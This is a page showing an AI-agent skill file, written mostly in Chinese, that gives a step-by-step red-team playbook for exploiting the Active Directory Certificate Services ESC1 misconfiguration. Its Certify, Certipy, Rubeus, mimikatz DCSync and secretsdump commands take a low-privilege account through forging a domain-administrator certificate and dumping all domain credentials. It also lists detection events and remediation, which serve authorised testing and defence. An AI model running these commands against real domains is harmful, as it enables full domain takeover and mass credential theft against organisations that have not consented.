L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-active-directory-certificate-services-esc1

exploiting-active-directory-certificate-services-esc1

在授权红队评估中,利用活动目录证书服务(AD CS)的 ESC1 错误配置漏洞,以高权限用户身份申请证书并提升域权限。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-active-directory-certificate-services-esc1 description: 在授权红队评估中,利用活动目录证书服务(AD CS)的 ESC1 错误配置漏洞,以高权限用户身份申请证书并提升域权限。 domain: cybersecurity subdomain: red-teaming tags: [red-team, active-directory, ad-cs, esc1, certificate-abuse, privilege-escalation, domain-escalation] version: "1.0" author: mahipal license: Apache-2.0

利用活动目录证书服务 ESC1 漏洞

概述

ESC1(升级场景 1)是活动目录证书服务(AD CS)中的一个严重错误配置,允许低权限用户代表任何其他用户(包括域管理员)申请证书。当证书模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志(也称为"在请求中提供"),并结合允许客户端认证的扩展密钥用法(EKU,如客户端认证、PKINIT 客户端认证、智能卡登录或任意目的)时,该漏洞就会存在。这允许攻击者在证书请求中指定任意主题备用名称(SAN),从而有效模拟任何域用户。ESC1 由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在其《Certified Pre-Owned》白皮书(2021)中记录,仍然是最常见的 AD CS 攻击路径之一。MITRE ATT&CK 框架将其追踪为 T1649(窃取或伪造认证证书)。

目标

  • 使用 Certify 或 Certipy 枚举 AD CS 基础设施和证书模板
  • 识别启用了"在请求中提供"的易受攻击 ESC1 模板
  • 申请证书,在 SAN 字段中指定域管理员
  • 通过 PKINIT 使用伪造证书进行认证以获取 TGT
  • 使用获得的 Kerberos 票据将权限提升至域管理员
  • 记录完整攻击链用于演练报告

MITRE ATT&CK 映射

  • T1649 - 窃取或伪造认证证书
  • T1558.001 - 窃取或伪造 Kerberos 票据:黄金票据
  • T1078.002 - 有效账户:域账户
  • T1484 - 域策略修改
  • T1087.002 - 账户发现:域账户

实施步骤

阶段一:AD CS 枚举

  1. 枚举域中的证书颁发机构(CA)服务器:
    # 使用 Certify(Windows)
    Certify.exe cas
    
    # 使用 Certipy(Linux/Python)
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
    
  2. 枚举所有证书模板并识别易受攻击的模板:
    # 使用 Certify - 查找易受攻击的模板
    Certify.exe find /vulnerable
    
    # 使用 Certipy - 输出 JSON 和文本报告
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
    
  3. 验证已识别模板上的 ESC1 条件:
    • msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECT
    • pkiExtendedKeyUsage 包含客户端认证或智能卡登录
    • msPKI-Enrollment-Flag 不需要经理审批
    • 低权限组(Domain Users、Authenticated Users)具有注册权限

阶段二:使用任意 SAN 申请证书

  1. 使用易受攻击的模板申请证书,在 SAN 中指定域管理员:
    # 使用 Certify(Windows)
    Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
    
    # 使用 Certipy(Linux)
    certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
    
  2. CA 颁发包含域管理员 UPN 的 SAN 字段的证书
  3. 以 PFX/PEM 格式保存输出的证书

阶段三:使用伪造证书进行认证

  1. 如有需要转换证书(Certify 输出 PEM,转换为 PFX):
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  2. 使用 PKINIT 认证以获取被模拟用户的 TGT:
    # 使用 Rubeus(Windows)
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
    
    # 使用 Certipy(Linux)
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
    
  3. TGT 现已加载到内存中(Windows)或 NT 哈希已恢复(Linux)

阶段四:域权限提升

  1. 使用域管理员 TGT 执行特权操作:
    # DCSync 以转储所有域凭据
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
    
    # 或使用获得的 NT 哈希和 secretsdump.py
    secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
    
  2. 验证域管理员访问权限:
    # 列出域控制器
    dir \\DC01.domain.local\C$
    
    # 访问域管理员共享
    dir \\DC01.domain.local\SYSVOL
    

工具与资源

工具用途平台
CertifyAD CS 枚举和证书申请Windows(.NET)
CertipyAD CS 枚举、申请和认证Linux(Python)
Rubeus使用证书的 Kerberos 认证(PKINIT)Windows(.NET)
Mimikatz提权后凭据转储Windows
secretsdump.py远程凭据转储(Impacket)Linux(Python)
PSPKIAuditPowerShell AD CS 审计模块Windows
ForgeCert证书伪造工具Windows(.NET)

易受攻击模板指标

条件易受攻击的值
msPKI-Certificate-Name-FlagENROLLEE_SUPPLIES_SUBJECT (1)
pkiExtendedKeyUsage客户端认证 (1.3.6.1.5.5.7.3.2)
注册权限Domain Users 或 Authenticated Users
msPKI-Enrollment-Flag不需要经理审批
CA 设置不强制审批工作流

检测特征

指标检测方法
证书请求中的 SAN 与申请者不同CA 服务器上的 Windows 事件 4886/4887
异常的 PKINIT 认证带证书预认证的事件 4768
Certify.exe 或 Certipy 执行EDR 进程监控和命令行日志
批量证书模板枚举对 pkiCertificateTemplate 对象的 LDAP 查询监控
颁发给不匹配 UPN 的证书CA 审计日志和证书透明度

验证标准

  • 已枚举 AD CS 证书颁发机构
  • 已使用 Certify 或 Certipy 识别易受攻击的 ESC1 模板
  • 已成功申请包含域管理员 SAN 的证书
  • 已使用伪造证书执行 PKINIT 认证
  • 已获取域管理员 TGT
  • 已验证对域控制器的特权访问
  • 已记录完整攻击链及证据
  • 已提供修复建议(禁用"在请求中提供",要求经理审批)
Skills enregistrées